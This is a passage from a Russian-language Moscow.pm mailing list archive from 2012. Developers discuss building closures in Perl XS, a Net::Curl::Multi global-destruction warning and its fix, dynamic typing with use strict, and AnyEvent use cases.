структуру. > > И в общем это работает, но если вызывается в режиме DB, то там как-то > съезжают PADLIST'ы и мой хардкод крешится. > Я в общем думаю пока копать на этот предмет разные модули (коих весьма > немного, к сожалению) > > Спасибо за наводку на CAF-XS, там действительно интересная техника. > > > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. From afiskon на gmail.com Mon Nov 26 18:23:07 2012 From: afiskon на gmail.com (Alexandr Alexeev) Date: Tue, 27 Nov 2012 05:23:07 +0300 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: Простите, я не большой знаток XS-ов, но 1. Кажется, в Си по определению нет замыканий, если только не накодить их самостоятельно, а то, как они реализованы в Perl, вероятно, может меняться от версии к версии. 2. По-моему, лучшее, что можно придумать, это объявить обычную процедуру и сделать вокруг нее обертку на Perl. 2012/11/27 Ruslan Zakirov : > 2012/11/27 Mons Anderson : >> >> 2012/11/26 Ruslan Zakirov >>> >>> 2012/11/26 Mons Anderson : >>> >>> >>> Я не удивлен, что что-то падает. Прикрепить padlist к XS sub'е - это >>> умно, но скорее всего не жизнеспособно. Просто потому что perl сам >>> этого не делает. Может и заработает, если долго курить сорцы. >> >> >> Ну начнем с того, что прикрепил я весьма криво. >> >>> >>> При определенных условиях можно сделать как в [1]. Смотри >>> xs_make_accessor и соответственно xs_accessor. Там генерируется >>> именованый альяс к XS функции и на этот альяс можно повесить i32 >>> значение. Вот только отследить удаление функции не получится. Придется >>> делать пул по значению, если этого достаточно для задачи. >>> >>> [1] http://cpansearch.perl.org/src/RUZ/Class-Accessor-Fast-XS-0.04/XS.xs >>> >>> Ты чего оптимизируешь? Может можно по другому? >>> >>> >> >> Да не то, чтобы оптимизирую. Хочу написать AnyEvent::***::XS >> Т.е. XS'ную реализацию чего-нибудь с использованием AnyEvent. >> А там нужно передавать коллбэки с замыканиями. >> >> Вообще мне, по большому счету, нужно, например следующее: >> 1. есть сишная функция on_event(...) >> 2. Вызвать AE::io( fileno, flag, newXSub(... on_event ...) ) >> 3. связать с вызовом on_event какую-либо структуру/SV'шку, чтобы было >> понятно, что за коллбэк был вызван. > > Я правильно понял, что ты хочешь сделать одну точку входа on_event и просто > передавать контекст дабы оно там само разбиралось? > > А следующее не подходит почему? > > AE::io( $fileno, $flag, sub { on_event($fileno, $flag) } ); > > Накладные расходы вызова сабы? > >> т.е., грубо говоря, я хочу получить API, аналогичное EVAPI, только >> реализованое через AnyEvent. >> >> Я предполагал создать PADLIST, запихнуть туда SV'шку, которая будет >> классическим указателем на структуру. >> потом при вызове сабы считать из падлиста SV'шку и получить указатель на >> структуру. >> >> И в общем это работает, но если вызывается в режиме DB, то там как-то >> съезжают PADLIST'ы и мой хардкод крешится. >> Я в общем думаю пока копать на этот предмет разные модули (коих весьма >> немного, к сожалению) >> >> Спасибо за наводку на CAF-XS, там действительно интересная техника. >> >> >> -- >> Best wishes, >> Vladimir V. Perepelitsa aka Mons Anderson >> , >> http://github.com/Mons >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Best regards, Ruslan. > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Alex Alexeev http://twitter.com/afiskon From vovkasm на gmail.com Mon Nov 26 21:47:12 2012 From: vovkasm на gmail.com (Vladimir Timofeev) Date: Tue, 27 Nov 2012 09:47:12 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: 2012/11/27 Mons Anderson : > > 2012/11/26 Ruslan Zakirov >> >> 2012/11/26 Mons Anderson : >> >> >> Я не удивлен, что что-то падает. Прикрепить padlist к XS sub'е - это >> умно, но скорее всего не жизнеспособно. Просто потому что perl сам >> этого не делает. Может и заработает, если долго курить сорцы. > > > Ну начнем с того, что прикрепил я весьма криво. > >> >> При определенных условиях можно сделать как в [1]. Смотри >> xs_make_accessor и соответственно xs_accessor. Там генерируется >> именованый альяс к XS функции и на этот альяс можно повесить i32 >> значение. Вот только отследить удаление функции не получится. Придется >> делать пул по значению, если этого достаточно для задачи. >> >> [1] http://cpansearch.perl.org/src/RUZ/Class-Accessor-Fast-XS-0.04/XS.xs >> >> Ты чего оптимизируешь? Может можно по другому? >> >> > > Да не то, чтобы оптимизирую. Хочу написать AnyEvent::***::XS > Т.е. XS'ную реализацию чего-нибудь с использованием AnyEvent. > А там нужно передавать коллбэки с замыканиями. > > Вообще мне, по большому счету, нужно, например следующее: > 1. есть сишная функция on_event(...) > 2. Вызвать AE::io( fileno, flag, newXSub(... on_event ...) ) > 3. связать с вызовом on_event какую-либо структуру/SV'шку, чтобы было > понятно, что за коллбэк был вызван. > > т.е., грубо говоря, я хочу получить API, аналогичное EVAPI, только > реализованое через AnyEvent. > > Я предполагал создать PADLIST, запихнуть туда SV'шку, которая будет > классическим указателем на структуру. > потом при вызове сабы считать из падлиста SV'шку и получить указатель на > структуру. > > И в общем это работает, но если вызывается в режиме DB, то там как-то > съезжают PADLIST'ы и мой хардкод крешится. > Я в общем думаю пока копать на этот предмет разные модули (коих весьма > немного, к сожалению) Если у тебя это получится - расскажи обязательно как - очень интересно ;-) Со своей стороны могу еще посоветовать посмотреть в сторону http://search.cpan.org/perldoc?XS::Object::Magic Там описана техника сохранения контекста в поле MAGIC (которое есть и у PVCV конечно). > > Спасибо за наводку на CAF-XS, там действительно интересная техника. > > > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Vladimir Timofeev From ksvs1996 на ymail.com Mon Nov 26 23:21:03 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 07:21:03 +0000 (GMT) Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction Message-ID: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> Привет. Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. Но периодически при завершении программы стали появляться сообщения: "Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction" Хотя с заменой на Curl у меня не добавилось никаких глобальных переменных. Что это может быть и как с ним бороться? Нашел, что можно пересобрать perl. Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) may give you some more information about where the problem is coming from. А может можно как-то проше? From afiskon на gmail.com Mon Nov 26 23:24:53 2012 From: afiskon на gmail.com (Alexandr Alexeev) Date: Tue, 27 Nov 2012 11:24:53 +0400 Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> Message-ID: Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить ее? 2012/11/27 ksvs : > Привет. > Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. > Но периодически при завершении программы стали появляться сообщения: > "Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction" > Хотя с заменой на Curl у меня не добавилось никаких глобальных переменных. > Что это может быть и как с ним бороться? > > > Нашел, что можно пересобрать perl. > > Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe > DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) may > give you some more information about where the problem is coming from. > > А может можно как-то проше? > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Alex Alexeev http://twitter.com/afiskon From dmitry на karasik.eu.org Mon Nov 26 23:56:06 2012 From: dmitry на karasik.eu.org (Dmitry Karasik) Date: Tue, 27 Nov 2012 08:56:06 +0100 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: <20121127075605.GA85176@tetsuo.karasik.eu.org> Я вставлю своих ретроградских пять копеек. С моей точки зрения, если чтото не описано в perlxs/perlguts etc то безопаснее это не использовать, т.к. перл развивается, api меняется. Как раз захват переменных видимых изнутри кложи через padlist'ы помоему относительно часто менялся, там много багов было одно время. Возможно это уже в прошлом и неактуально, но так, на всякий случай. /dk On Tue, Nov 27, 2012 at 04:06:27AM +0400, Mons Anderson wrote: > 2012/11/26 Ruslan Zakirov > > > 2012/11/26 Mons Anderson : > > > > Я не удивлен, что что-то падает. Прикрепить padlist к XS sub'е - это > > умно, но скорее всего не жизнеспособно. Просто потому что perl сам > > этого не делает. Может и заработает, если долго курить сорцы. > > > > Ну начнем с того, что прикрепил я весьма криво. > > > > При определенных условиях можно сделать как в [1]. Смотри > > xs_make_accessor и соответственно xs_accessor. Там генерируется > > именованый альяс к XS функции и на этот альяс можно повесить i32 > > значение. Вот только отследить удаление функции не получится. Придется > > делать пул по значению, если этого достаточно для задачи. > > > > [1] http://cpansearch.perl.org/src/RUZ/Class-Accessor-Fast-XS-0.04/XS.xs > > > > Ты чего оптимизируешь? Может можно по другому? > > > > > > Да не то, чтобы оптимизирую. Хочу написать AnyEvent::***::XS > Т.е. XS'ную реализацию чего-нибудь с использованием AnyEvent. > А там нужно передавать коллбэки с замыканиями. > > Вообще мне, по большому счету, нужно, например следующее: > 1. есть сишная функция on_event(...) > 2. Вызвать AE::io( fileno, flag, newXSub(... on_event ...) ) > 3. связать с вызовом on_event какую-либо структуру/SV'шку, чтобы было > понятно, что за коллбэк был вызван. > > т.е., грубо говоря, я хочу получить API, аналогичное EVAPI, только > реализованое через AnyEvent. > > Я предполагал создать PADLIST, запихнуть туда SV'шку, которая будет > классическим указателем на структуру. > потом при вызове сабы считать из падлиста SV'шку и получить указатель на > структуру. > > И в общем это работает, но если вызывается в режиме DB, то там как-то > съезжают PADLIST'ы и мой хардкод крешится. > Я в общем думаю пока копать на этот предмет разные модули (коих весьма > немного, к сожалению) > > Спасибо за наводку на CAF-XS, там действительно интересная техника. > > > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Sincerely, Dmitry Karasik From mons на cpan.org Tue Nov 27 02:18:41 2012 From: mons на cpan.org (Mons Anderson) Date: Tue, 27 Nov 2012 14:18:41 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: 2012/11/27 Ruslan Zakirov > > А следующее не подходит почему? > > AE::io( $fileno, $flag, sub { on_event($fileno, $flag) } ); > > Накладные расходы вызова сабы? > > > потому что on_event - сишная функция. и вот как-раз у меня не получается так собрать анонимную функцию, находясь внутри XS. т.е. грубо говоря у меня есть void on_event( ... ) { ... } я могу сделать: PUSHMARK(SP); EXTEND(SP,3); PUSHs( sv_fileno ); PUSHs( sv_flag ); PUSHs( ??? ); PUTBACK; call_pv( "AE::io", G_VOID ) А что мне передать как 3й аргумент? -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From mons на cpan.org Tue Nov 27 02:28:58 2012 From: mons на cpan.org (Mons Anderson) Date: Tue, 27 Nov 2012 14:28:58 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: <20121127075605.GA85176@tetsuo.karasik.eu.org> References: <20121127075605.GA85176@tetsuo.karasik.eu.org> Message-ID: 2012/11/27 Dmitry Karasik > Я вставлю своих ретроградских пять копеек. С моей точки зрения, если чтото > не > описано в perlxs/perlguts etc то безопаснее это не использовать, т.к. перл > развивается, api меняется. Как раз захват переменных видимых изнутри кложи > через padlist'ы помоему относительно часто менялся, там много багов было > одно > время. Возможно это уже в прошлом и неактуально, но так, на всякий случай. > > > Да мне без разницы как именно сделать то, что мне нужно. И я не фанат лезть в недокументированные internals'ы Но эти вещи как-то описаны в документации. Правда плохо. И в отсутствие живых примеров и без досконального знания perl internals сделать это сходу не получается -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ksvs1996 на ymail.com Tue Nov 27 02:31:05 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 10:31:05 +0000 (GMT) Subject: [Moscow.pm] =?utf-8?b?0J3QsNCy0LXRgNC90L4sINCz0LvRg9C/0YvQuSA=?= =?utf-8?b?0LLQvtC/0YDQvtGBLg==?= Message-ID: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Наверно, глупый вопрос. Ошибся в имени переменной и случайно обнаружил, что переменный могут менять тип: my $x = 1; print $x, "\n"; $x = "a"; print $x, "\n"; $x = sub {}; print $x, "\n"; А я думал, что динамическая типизация - это определение типа переменной в момент выполнения программы. А тут такое... А зачем это надо и где применяется? Ведь можно ошибиться в имени и потом ловить непонятные глюки. P.S. Обалдеть! В Haskell тоже так можно. :-) > cat 1.hs main = do         x <- return 1         print x         x <- return "a"         print x > runhaskell  1.hs 1 "a" > From denis.fedoseev на gmail.com Tue Nov 27 02:34:02 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Tue, 27 Nov 2012 14:34:02 +0400 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: Динамическая на то и динамическая - что тип переменной может меняться по ходу выполнения. Применяется везде :) С уважением, Денис Федосеев On 27 Nov 2012, at 2:31 PM, ksvs wrote: > Наверно, глупый вопрос. > > Ошибся в имени переменной и случайно обнаружил, что переменный могут менять тип: > > my $x = 1; > print $x, "\n"; > $x = "a"; > print $x, "\n"; > $x = sub {}; > print $x, "\n"; > > А я думал, что динамическая типизация - это определение типа переменной в момент выполнения программы. А тут такое... > > А зачем это надо и где применяется? > Ведь можно ошибиться в имени и потом ловить непонятные глюки. > > > P.S. > Обалдеть! В Haskell тоже так можно. :-) > > >> cat 1.hs > main = do > x <- return 1 > print x > x <- return "a" > print x >> runhaskell 1.hs > 1 > "a" >> > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From somerandomlogin на gmail.com Tue Nov 27 02:43:08 2012 From: somerandomlogin на gmail.com (Jack of Shadows) Date: Tue, 27 Nov 2012 14:43:08 +0400 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: Ну, собственно, это во всех скриптовых языках так (ну, вернее, я не знаю скриптового языка, где бы это было не так). Ошибаться в имени не надо. :-) Можно проверять тип переданных параметров функций, например. 2012/11/27 ksvs : > Наверно, глупый вопрос. > > Ошибся в имени переменной и случайно обнаружил, что переменный могут менять тип: > > my $x = 1; > print $x, "\n"; > $x = "a"; > print $x, "\n"; > $x = sub {}; > print $x, "\n"; > > А я думал, что динамическая типизация - это определение типа переменной в момент выполнения программы. А тут такое... > > А зачем это надо и где применяется? > Ведь можно ошибиться в имени и потом ловить непонятные глюки. > > > P.S. > Обалдеть! В Haskell тоже так можно. :-) > > >> cat 1.hs > main = do > x <- return 1 > print x > x <- return "a" > print x >> runhaskell 1.hs > 1 > "a" >> > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From i.petro.77.00 на gmail.com Tue Nov 27 02:43:54 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Tue, 27 Nov 2012 14:43:54 +0400 Subject: [Moscow.pm] =?utf-8?b?0J3QsNCy0LXRgNC90L4sINCz0LvRg9C/0YvQuSA=?= =?utf-8?b?0LLQvtC/0YDQvtGBLg==?= In-Reply-To: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <20121127104354.GC1657@vdsl.uvw.ru> > Наверно, глупый вопрос. что-то про эту "типизацию" в последнее время часто From denis.fedoseev на gmail.com Tue Nov 27 02:45:19 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Tue, 27 Nov 2012 14:45:19 +0400 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: >Ведь можно ошибиться в имени и потом ловить непонятные глюки. Чтобы этого не происходило надо использовать use strict; С уважением, Денис Федосеев On 27 Nov 2012, at 2:31 PM, ksvs wrote: > Наверно, глупый вопрос. > > Ошибся в имени переменной и случайно обнаружил, что переменный могут менять тип: > > my $x = 1; > print $x, "\n"; > $x = "a"; > print $x, "\n"; > $x = sub {}; > print $x, "\n"; > > А я думал, что динамическая типизация - это определение типа переменной в момент выполнения программы. А тут такое... > > А зачем это надо и где применяется? > Ведь можно ошибиться в имени и потом ловить непонятные глюки. > > > P.S. > Обалдеть! В Haskell тоже так можно. :-) > > >> cat 1.hs > main = do > x <- return 1 > print x > x <- return "a" > print x >> runhaskell 1.hs > 1 > "a" >> > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From onokonem на gmail.com Tue Nov 27 02:55:06 2012 From: onokonem на gmail.com (Daniel Podolsky) Date: Tue, 27 Nov 2012 13:55:06 +0300 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: > Чтобы этого не происходило надо использовать use strict; И что? Помогает?! O_o (частично помогает, конечно. использовать скаляры и undef в качестве ссылок перестает удаваться. но вот перепутать array и hash - можно за милую душу) я лично динамическую типизацию использую только одним образом: my $wordList = parseListReturnArrayRef($wordList); И легко обошелся бы. From i.petro.77.00 на gmail.com Tue Nov 27 02:56:39 2012 From: i.petro.77.00 на gmail.com (Ivan Petrov) Date: Tue, 27 Nov 2012 14:56:39 +0400 Subject: [Moscow.pm] Event and fork In-Reply-To: <1351597434.43348.YahooMailNeo@web171503.mail.ir2.yahoo.com> References: <1351597434.43348.YahooMailNeo@web171503.mail.ir2.yahoo.com> Message-ID: <20121127105639.GD1657@vdsl.uvw.ru> > Наверно AnyEvent::HTTP медленней, чем Coro::LWP из-за того, что не кешируется > DNS. а еще может быть ручку не покрутили на число одновременных соединений на хост > А вот вариант с prefork в 10 дочерних процессов справился за 0:48. дык фича асинхронников в том что им не стоит делать такие маленькие ограничения как 10 или 33. им надо делать 512 или 4096 (про ulimit не забывая конечно) > Что я могу сказать по всему этому. Было интересно. Но наверное, использование > Event оправдано лишь для узкого круга задач, где куча медленных соединений и > задачи эти не нагружают CPU. Но для этого вероятно проще использовать тот-же > Erlang и Haskell, которые сами все ядра использую. необходимости в Erlang нет с момента появления Coro в perl :) > А для каких задач вы используете AnyEvent? мы делаем на них - демоны очередей - все абсолютно связанное с HTTP - вот запустили Mojo, ща подумываем о написании своего DBI для AE, тогда будем делать и веббакенды тоже на нем - демоны вебсокетов и лонгпулинга - игрушки :) From denis.fedoseev на gmail.com Tue Nov 27 03:00:29 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Tue, 27 Nov 2012 15:00:29 +0400 Subject: [Moscow.pm] =?koi8-r?b?7sHXxdLOzywgx8zV0NnKINfP0NLP0y4=?= In-Reply-To: References: <1354012265.84686.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <37241DBB-AE51-47ED-9F4C-81D7899BC12E@gmail.com> Помогает от опечаток в именах переменных. В переменной с осмысленным названием ( а не $a, $x) опечатка приведет к тому что она станет неинициализированной и все упадет при компилации :) С уважением, Денис Федосеев On 27 Nov 2012, at 2:55 PM, Daniel Podolsky wrote: >> Чтобы этого не происходило надо использовать use strict; > И что? Помогает?! O_o > (частично помогает, конечно. использовать скаляры и undef в качестве > ссылок перестает удаваться. но вот перепутать array и hash - можно за > милую душу) > > я лично динамическую типизацию использую только одним образом: > my $wordList = parseListReturnArrayRef($wordList); > > И легко обошелся бы. > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From creaktive на gmail.com Tue Nov 27 03:55:28 2012 From: creaktive на gmail.com (Stanislaw Pusep) Date: Tue, 27 Nov 2012 09:55:28 -0200 Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> Message-ID: Так и есть, бага. Я её и зарепортил, и починил: https://github.com/sparky/perl-Net-Curl/pull/1 Жду, когда автор соизволит протестить :) Кстати, легко чинимо самостоятельно. В вашем коде, определите явный "base" для создания новых объектов Net::Curl::*: my $easy = Net::Curl::Easy->new({}); my $multi = Net::Curl::Multi->new({}); my $share = Net::Curl::Share->new({}); Вместо: my $easy = Net::Curl::Easy->new; my $multi = Net::Curl::Multi->new; my $share = Net::Curl::Share->new; Почему оно так? Тупо опечатка: http://stackoverflow.com/a/13576436/1818793 Кстати, комбинация AnyEvent + Net::Curl::Mulii уже существует на CPAN: https://metacpan.org/module/AnyEvent::Net::Curl::Queued 2012/11/27 Alexandr Alexeev > Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить > ее? > > 2012/11/27 ksvs : > > Привет. > > Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. > > Но периодически при завершении программы стали появляться сообщения: > > "Attempt to free unreferenced scalar: SV 0x2929db2c during global > destruction" > > Хотя с заменой на Curl у меня не добавилось никаких глобальных > переменных. > > Что это может быть и как с ним бороться? > > > > > > Нашел, что можно пересобрать perl. > > > > Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe > > DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) > may > > give you some more information about where the problem is coming from. > > > > А может можно как-то проше? > > > > -- > > Moscow.pm mailing list > > moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Best regards, > Alex Alexeev > http://twitter.com/afiskon > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ruz на bestpractical.com Tue Nov 27 04:04:45 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Tue, 27 Nov 2012 16:04:45 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: 2012/11/27 Mons Anderson : > 2012/11/27 Ruslan Zakirov >> >> >> А следующее не подходит почему? >> >> AE::io( $fileno, $flag, sub { on_event($fileno, $flag) } ); >> >> Накладные расходы вызова сабы? >> >> > потому что on_event - сишная функция. и вот как-раз у меня не получается так > собрать анонимную функцию, находясь внутри XS. > т.е. грубо говоря > > у меня есть > void on_event( ... ) { ... } > > я могу сделать: > PUSHMARK(SP); > EXTEND(SP,3); > PUSHs( sv_fileno ); > PUSHs( sv_flag ); > PUSHs( ??? ); > PUTBACK; > call_pv( "AE::io", G_VOID ) > > А что мне передать как 3й аргумент? RV на CV :) Все равно придется обернуть on_event или оно работает со стеком? Вот еще про замыкания в XS: http://perl-users.jp/articles/advent-calendar/2010/english/3 > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. From ksvs1996 на ymail.com Tue Nov 27 04:57:27 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 12:57:27 +0000 (GMT) Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> Message-ID: <1354021047.67400.YahooMailNeo@web171506.mail.ir2.yahoo.com> Спасибо. А я, наивно, перенес создание $multi с главного процесса в дочернии. И кажется ошибка ушла. Но, наверно, стала реже, и я ее пока не словил. Верну как было, и попробую явный base. Спасибо за ссылку. Но я еще не смотрел в сторону moose и пока не все понимаю. А почему в https://metacpan.org/source/SYP/AnyEvent-Net-Curl-Queued-0.037/lib/AnyEvent/Net/Curl/Queued/Multi.pm строка 168 используется $self->socket_action; а не $self->socket_action(Net::Curl::Multi::CURL_SOCKET_TIMEOUT); Кажется в документации на libcurl сказано, что надо использовать второй вариант. А почему вы решили использовать Curl, а не AnyEvent::HTTP? Что-то я не пойму как вы берете последнии хедеры, а не редиректовские. И почему вы при получении хедеров, если это не html, не обрываете закачку? А удобно пользоваться moose? Так выгдядит странно, не так, как в книжке по Perl, что я читал. ________________________________ From: Stanislaw Pusep To: Moscow.pm group Sent: Tuesday, 27 November 2012, 13:55 Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction Так и есть, бага. Я её и зарепортил, и починил: https://github.com/sparky/perl-Net-Curl/pull/1 Жду, когда автор соизволит протестить :) Кстати, легко чинимо самостоятельно. В вашем коде, определите явный "base" для создания новых объектов Net::Curl::*: my $easy = Net::Curl::Easy->new({}); my $multi = Net::Curl::Multi->new({}); my $share = Net::Curl::Share->new({}); Вместо: my $easy = Net::Curl::Easy->new; my $multi = Net::Curl::Multi->new; my $share = Net::Curl::Share->new; Почему оно так? Тупо опечатка: http://stackoverflow.com/a/13576436/1818793 Кстати, комбинация AnyEvent + Net::Curl::Mulii уже существует на CPAN: https://metacpan.org/module/AnyEvent::Net::Curl::Queued 2012/11/27 Alexandr Alexeev Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить ее? > >2012/11/27 ksvs : > >> Привет. >> Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. >> Но периодически при завершении программы стали появляться сообщения: >> "Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction" >> Хотя с заменой на Curl у меня не добавилось никаких глобальных переменных. >> Что это может быть и как с ним бороться? >> >> >> Нашел, что можно пересобрать perl. >> >> Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe >> DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) may >> give you some more information about where the problem is coming from. >> >> А может можно как-то проше? >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > >-- >Best regards, >Alex Alexeev >http://twitter.com/afiskon > >-- >Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.orgА почему в а не From mons на cpan.org Tue Nov 27 05:19:57 2012 From: mons на cpan.org (Mons Anderson) Date: Tue, 27 Nov 2012 17:19:57 +0400 Subject: [Moscow.pm] Perl/XS Create closure In-Reply-To: References: Message-ID: Руслан, огромное тебе спасибо. Я крутился вокруг да около, но все никак не мог наткнуться на правильный кусочек кода ) оказывается указатель на CV * нам просто передается в XS(...) {...} А я блин искал его в стеке и в падлистах. и в результате есть как минимум 3 способа: 1. CvXSUBANY(cv).any_ptr = (void *) ...; 2. sv_magicext((SV *) cv, NULL, PERL_MAGIC_ext, &null_mg_vtbl, (void *)..., 0); 3. CvPADLIST(cv) = pad_new ... Я пока заюзал первый, по крайней мере могу с чего-то уже начать. а там посмотрю. Вот работающий пример: https://gist.github.com/4154184 2012/11/27 Ruslan Zakirov > 2012/11/27 Mons Anderson : > > 2012/11/27 Ruslan Zakirov > >> > >> > >> А следующее не подходит почему? > >> > >> AE::io( $fileno, $flag, sub { on_event($fileno, $flag) } ); > >> > >> Накладные расходы вызова сабы? > >> > >> > > потому что on_event - сишная функция. и вот как-раз у меня не получается > так > > собрать анонимную функцию, находясь внутри XS. > > т.е. грубо говоря > > > > у меня есть > > void on_event( ... ) { ... } > > > > я могу сделать: > > PUSHMARK(SP); > > EXTEND(SP,3); > > PUSHs( sv_fileno ); > > PUSHs( sv_flag ); > > PUSHs( ??? ); > > PUTBACK; > > call_pv( "AE::io", G_VOID ) > > > > А что мне передать как 3й аргумент? > > RV на CV :) Все равно придется обернуть on_event или оно работает со > стеком? > > Вот еще про замыкания в XS: > > http://perl-users.jp/articles/advent-calendar/2010/english/3 > > > -- > > Best wishes, > > Vladimir V. Perepelitsa aka Mons Anderson > > , > > http://github.com/Mons > > > > -- > > Moscow.pm mailing list > > moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Best regards, Ruslan. > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ksvs1996 на ymail.com Tue Nov 27 05:22:01 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 13:22:01 +0000 (GMT) Subject: [Moscow.pm] during global destruction Message-ID: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> А ничего страшного, если при завершении дочерних процессов будет включаться глобальный деструктор? From mons на cpan.org Tue Nov 27 06:04:33 2012 From: mons на cpan.org (Mons Anderson) Date: Tue, 27 Nov 2012 18:04:33 +0400 Subject: [Moscow.pm] during global destruction In-Reply-To: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: Смотря с какой стороны посмотреть. Это значит, что какие-то объекты не уничтожились когда им было положено. Соответственно - потенциальная утечка. 2012/11/27 ksvs > А ничего страшного, если при 